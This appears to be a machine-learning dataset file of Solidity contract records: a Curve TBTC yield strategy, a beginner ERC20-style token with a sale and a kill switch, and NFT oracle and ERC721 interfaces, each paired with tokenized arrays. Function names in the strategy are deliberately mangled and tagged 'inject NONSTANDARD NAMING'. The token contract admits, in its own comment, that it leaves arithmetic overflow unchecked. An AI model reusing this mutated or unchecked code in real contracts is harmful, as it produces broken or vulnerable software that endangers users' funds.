require(vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(underlying).SAFETRANSFER331(vault, _amount.SUB906(_withdrawalFee));
}
// Withdraw all funds, normally used when migrating strategies
function WITHDRAWALL63() external RESTRICTED912 returns (uint256 balance) { //inject NONSTANDARD NAMING
_WITHDRAWALL78();
balance = IERC20(underlying).BALANCEOF68(address(this));
require(vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(underlying).SAFETRANSFER331(vault, balance);
}
function _WITHDRAWALL78() internal { //inject NONSTANDARD NAMING
_WITHDRAWSOME235(BALANCEOFPOOL881());
}
function _WITHDRAWSOME235(uint256 _amount) internal virtual returns (uint256); //inject NONSTANDARD NAMING
function HARVEST372() public virtual; //inject NONSTANDARD NAMING
function _DISTRIBUTEANDDEPOSIT388() internal { //inject NONSTANDARD NAMING
uint256 _underlying = IERC20(underlying).BALANCEOF68(address(this));
if (_underlying > 0) {
// Treasury fees
IERC20(underlying).SAFETRANSFER331(
treasury,
_underlying.MUL601(treasuryFee).DIV456(treasuryfeebase971)
);
// Strategy fee
IERC20(underlying).SAFETRANSFER331(
strategist,
_underlying.MUL601(strategyFee).DIV456(strategyfeebase640)
);
// Developer fee
IERC20(underlying).SAFETRANSFER331(
devfund,
_underlying.MUL601(developerFee).DIV456(developerfeebase561)
);
DEPOSIT115();
}
}
// **** Emergency functions ****
function EXECUTE807(address _target, bytes memory _data) //inject NONSTANDARD NAMING
public
payable
returns (bytes memory response)
{
require(msg.sender == timelock, "!timelock");
require(_target != address(0), "!target");
// call contract in current context
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
let size := returndatasize()
response := mload(0x40)
mstore(
0x40,
add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
}
// **** Internal functions ****
function _SWAPUNISWAP503( //inject NONSTANDARD NAMING
address _from,
address _to,
uint256 _amount
) internal {
require(_to != address(0));
// Swap with uniswap
IERC20(_from).SAFEAPPROVE284(univ2Router2, 0);
IERC20(_from).SAFEAPPROVE284(univ2Router2, _amount);
address[] memory path;
if (_from == weth339 || _to == weth339) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = weth339;
path[2] = _to;
}
UniswapRouterV2(univ2Router2).SWAPEXACTTOKENSFORTOKENS167(
_amount,
0,
path,
address(this),
now.ADD388(60)
);
}
}
// Base contract for Curve based vault strategies
abstract contract VoxStrategyCurveBase is VoxStrategyBase {
// curve dao
address public curve;
address public gauge;
address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// stablecoins
address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
// bitcoins
address public renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
// rewards
address public crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
// keep
address public keep = 0x85Eee30c52B0b379b046Fb0F85F4f3Dc3009aFEC;
address public keep_rewards = 0x6828bcF74279eE32f2723eC536c22c51Eed383C6;
// How much CRV tokens to keep
uint256 public keepCRV = 0;
uint256 public keepCRVMax = 10000;
constructor(
address _curve,
address _gauge,
address _underlying,
address _governance,
address _strategist,
address _treasury,
address _devfund,
address _timelock,
address _vault
)
public
VoxStrategyBase(_underlying, _governance, _strategist, _treasury, _devfund, _timelock, _vault)
{
curve = _curve;
gauge = _gauge;
}
// **** Getters ****
function BALANCEOFPOOL881() public override view returns (uint256) { //inject NONSTANDARD NAMING
return ICurveGauge(gauge).BALANCEOF68(address(this));
}
function GETHARVESTABLE58() external returns (uint256) { //inject NONSTANDARD NAMING
return ICurveGauge(gauge).CLAIMABLE_TOKENS440(address(this));
}
function GETMOSTPREMIUM814() public virtual view returns (address, uint256); //inject NONSTANDARD NAMING
// **** Setters ****
function SETKEEPCRV171(uint256 _keepCRV) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
keepCRV = _keepCRV;
}
// **** State Mutation functions ****
function DEPOSIT115() public override { //inject NONSTANDARD NAMING
uint256 _underlying = IERC20(underlying).BALANCEOF68(address(this));
if (_underlying > 0) {
IERC20(underlying).SAFEAPPROVE284(gauge, 0);
IERC20(underlying).SAFEAPPROVE284(gauge, _underlying);
ICurveGauge(gauge).DEPOSIT115(_underlying);
}
}
function _WITHDRAWSOME235(uint256 _amount) //inject NONSTANDARD NAMING
internal
override
returns (uint256)
{
ICurveGauge(gauge).WITHDRAW593(_amount);
return _amount;
}
}
contract VoxStrategyCurveTBTC is VoxStrategyCurveBase {
// Curve stuff
address public tbtc_pool = 0xaa82ca713D94bBA7A89CEAB55314F9EfFEdDc78c;
address public tbtc_gauge = 0x6828bcF74279eE32f2723eC536c22c51Eed383C6;
address public tbtc_crv = 0x64eda51d3Ad40D56b9dFc5554E06F94e1Dd786Fd;
// EVENTS
event HARVESTED180(address indexed token, uint256 amount); //inject NONSTANDARD NAMING
constructor(
address _governance,
address _strategist,
address _treasury,
address _devfund,
address _timelock,
address _vault
)
public
VoxStrategyCurveBase(
tbtc_pool,
tbtc_gauge,
tbtc_crv,
_governance,
_strategist,
_treasury,
_devfund,
_timelock,
_vault
)
{}
// **** Views ****
function GETMOSTPREMIUM814() //inject NONSTANDARD NAMING
public
override
view
returns (address, uint256)
{
return (wbtc162, 2);
}
function GETNAME974() external override pure returns (string memory) { //inject NONSTANDARD NAMING
return "VoxStrategyCurveTBTC";
}
// **** State Mutations ****
function HARVEST372() public RESTRICTED912 override { //inject NONSTANDARD NAMING
// bitcoin we want to convert to
(address to, uint256 toIndex) = GETMOSTPREMIUM814();
// Collects crv tokens
// this also sends KEEP to keep_rewards contract
ICurveMintr(mintr).MINT951(gauge);
uint256 _crv = IERC20(crv).BALANCEOF68(address(this));
if (_crv > 0) {
// x% is sent back to the rewards holder
// to be used to lock up in as veCRV in a future date
uint256 _keepCRV = _crv.MUL601(keepCRV).DIV456(keepCRVMax);
if (_keepCRV > 0) {
IERC20(crv).SAFETRANSFER331(
treasury,
_keepCRV
);
}
_crv = _crv.SUB906(_keepCRV);
_SWAPUNISWAP503(crv, to, _crv);
}
// Collects keep tokens
IKeepRewardsClaimable(keep_rewards).CLAIM_REWARDS536();
uint256 _keep = IERC20(keep).BALANCEOF68(address(this));
if (_keep > 0) {
_SWAPUNISWAP503(keep, to, _keep);
}
// Adds liquidity to curve.fi's pool
// to get back underlying (tbtccrv)
uint256 _to = IERC20(to).BALANCEOF68(address(this));
if (_to > 0) {
IERC20(to).SAFEAPPROVE284(curve, 0);
IERC20(to).SAFEAPPROVE284(curve, _to);
uint256[4] memory liquidity;
liquidity[toIndex] = _to;
ICurveTBTC(curve).ADD_LIQUIDITY50(liquidity, 0);
}
// Distribute the collected funds and deposit underlying
// Emit harvested event
_DISTRIBUTEANDDEPOSIT388();
emit HARVESTED180(to, _to);
}
}
|
inject NONSTANDARD NAMING
|
function SENDVALUE944(address payable recipient, uint256 amount) internal {
| 12,568,881 |
[
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
31434,
4051,
29,
6334,
12,
2867,
8843,
429,
8027,
16,
2254,
5034,
3844,
13,
2713,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract MyFirstEthereumToken {
// The keyword "public" makes those variables
// readable from outside.
address public owner;
// Public variables of the token
string public name = "MyFirstEthereumToken";
string public symbol = "MFET";
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
uint256 public totalExtraTokens = 0;
uint256 public totalContributed = 0;
bool public onSale = false;
/* This creates an array with all balances */
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
// Events allow light clients to react on
// changes efficiently.
event Sent(address from, address to, uint amount);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
function name() public constant returns (string) { return name; }
function symbol() public constant returns (string) { return symbol; }
function decimals() public constant returns (uint8) { return decimals; }
function totalSupply() public constant returns (uint256) { return totalSupply; }
function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; }
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function MyFirstEthereumToken(uint256 initialSupply) public payable
{
owner = msg.sender;
// Update total supply with the decimal amount
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
//totalSupply = initialSupply;
// Give the creator all initial tokens
balances[msg.sender] = totalSupply;
// Give the creator all initial tokens
//balanceOf[msg.sender] = initialSupply;
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success)
{
return _transfer(msg.sender, _to, _value);
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal returns (bool success)
{
// mitigates the ERC20 short address attack
//require(msg.data.length >= (2 * 32) + 4);
// checks for minimum transfer amount
require(_value > 0);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]); // Check for overflows
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
// Call for Event
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* Send tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function send(address _to, uint256 _value) public
{
_send(_to, _value);
}
/**
* Internal send, only can be called by this contract
*/
function _send(address _to, uint256 _value) internal
{
address _from = msg.sender;
// mitigates the ERC20 short address attack
//require(msg.data.length >= (2 * 32) + 4);
// checks for minimum transfer amount
require(_value > 0);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]); // Check for overflows
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
// Call for Event
Sent(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
{
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success)
{
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success)
{
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Create tokens
*
* Create `_amount` tokens to `owner` account
*
* @param _amount the amount to create
*/
function createTokens(uint256 _amount) public
{
require(msg.sender == owner);
//if (msg.sender != owner) return;
balances[owner] += _amount;
totalSupply += _amount;
Transfer(0, owner, _amount);
}
/**
* Withdraw funds
*
* Transfers the total amount of funds to ownwer account minus gas fee
*
*/
function safeWithdrawAll() public returns (bool)
{
require(msg.sender == owner);
uint256 _gasPrice = 30000000000;
require(this.balance > _gasPrice);
uint256 _totalAmount = this.balance - _gasPrice;
owner.transfer(_totalAmount);
return true;
}
/**
* Withdraw funds
*
* Create `_amount` tokens to `owner` account
*
* @param _amount the amount to create
*/
function safeWithdraw(uint256 _amount) public returns (bool)
{
require(msg.sender == owner);
uint256 _gasPrice = 30000000000;
require(_amount > 0);
uint256 totalAmount = _amount + _gasPrice;
require(this.balance >= totalAmount);
owner.transfer(totalAmount);
return true;
}
function getBalanceContract() public constant returns(uint)
{
require(msg.sender == owner);
return this.balance;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
// A function to buy tokens accesible by any address
// The payable keyword allows the contract to accept ethers
// from the transactor. The ethers to be deposited is entered as msg.value
// (which will get clearer when we will call the functions in browser-solidity)
// and the corresponding tokens are stored in balance[msg.sender] mapping.
// underflows and overflows are security consideration which are
// not checked in the process. But lets not worry about them for now.
function buyTokens () public payable
{
// checks for minimum transfer amount
require(msg.value > 0);
require(onSale == true);
owner.transfer(msg.value);
totalContributed += msg.value;
uint256 tokensAmount = msg.value * 1000;
if(totalContributed >= 1 ether)
{
uint256 multiplier = (totalContributed / 1 ether);
uint256 extraTokens = (tokensAmount * multiplier) / 10;
totalExtraTokens += extraTokens;
tokensAmount += extraTokens;
}
balances[msg.sender] += tokensAmount;
totalSupply += tokensAmount;
Transfer(address(this), msg.sender, tokensAmount);
}
/**
* EnableSale Function
*
*/
function enableSale() public
{
require(msg.sender == owner);
onSale = true;
}
/**
* DisableSale Function
*
*/
function disableSale() public
{
require(msg.sender == owner);
onSale = false;
}
/**
* Kill Function
*
*/
function kill() public
{
require(msg.sender == owner);
onSale = false;
selfdestruct(owner);
}
/**
* Fallback Function
*
*/
function() public payable
{
buyTokens();
//totalContributed += msg.value;
}
}
|
* DisableSale Function/
|
function disableSale() public
{
require(msg.sender == owner);
onSale = false;
}
| 13,091,548 |
[
1,
11879,
30746,
4284,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
4056,
30746,
1435,
1071,
7010,
202,
95,
203,
202,
202,
6528,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
203,
3639,
603,
30746,
273,
629,
31,
203,
565,
289,
203,
202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x9b38B63d31e043f1808d7198810f0Cb08A49728f/sources/contracts/interfaces/INftPriceOracle.sol
|
get asset price get latest timestamp get previous price with _back rounds get previous timestamp with _back rounds
|
interface INFTOracle {
function getAssetPrice(address _nftContract) external view returns (uint256);
function getLatestTimestamp(address _nftContract) external view returns (uint256);
function getPreviousPrice(address _nftContract, uint256 _numOfRoundBack) external view returns (uint256);
function getPreviousTimestamp(address _nftContract, uint256 _numOfRoundBack) external view returns (uint256);
function setAssetData(address _nftContract, uint256 _price) external;
function setPause(address _nftContract, bool val) external;
function setTwapInterval(uint256 _twapInterval) external;
function getPriceFeedLength(address _nftContract) external view returns (uint256 length);
@title INFTOracle interface
}
| 2,963,935 |
[
1,
588,
3310,
6205,
336,
4891,
2858,
336,
2416,
6205,
598,
389,
823,
21196,
336,
2416,
2858,
598,
389,
823,
21196,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
27114,
4296,
16873,
288,
203,
565,
445,
24689,
5147,
12,
2867,
389,
82,
1222,
8924,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
336,
18650,
4921,
12,
2867,
389,
82,
1222,
8924,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
17225,
5147,
12,
2867,
389,
82,
1222,
8924,
16,
2254,
5034,
389,
2107,
951,
11066,
2711,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
17225,
4921,
12,
2867,
389,
82,
1222,
8924,
16,
2254,
5034,
389,
2107,
951,
11066,
2711,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
444,
6672,
751,
12,
2867,
389,
82,
1222,
8924,
16,
2254,
5034,
389,
8694,
13,
3903,
31,
203,
203,
565,
445,
17004,
1579,
12,
2867,
389,
82,
1222,
8924,
16,
1426,
1244,
13,
3903,
31,
203,
203,
565,
445,
444,
23539,
438,
4006,
12,
11890,
5034,
389,
11246,
438,
4006,
13,
3903,
31,
203,
203,
565,
445,
25930,
8141,
1782,
12,
2867,
389,
82,
1222,
8924,
13,
3903,
1476,
1135,
261,
11890,
5034,
769,
1769,
203,
36,
2649,
27114,
4296,
16873,
1560,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
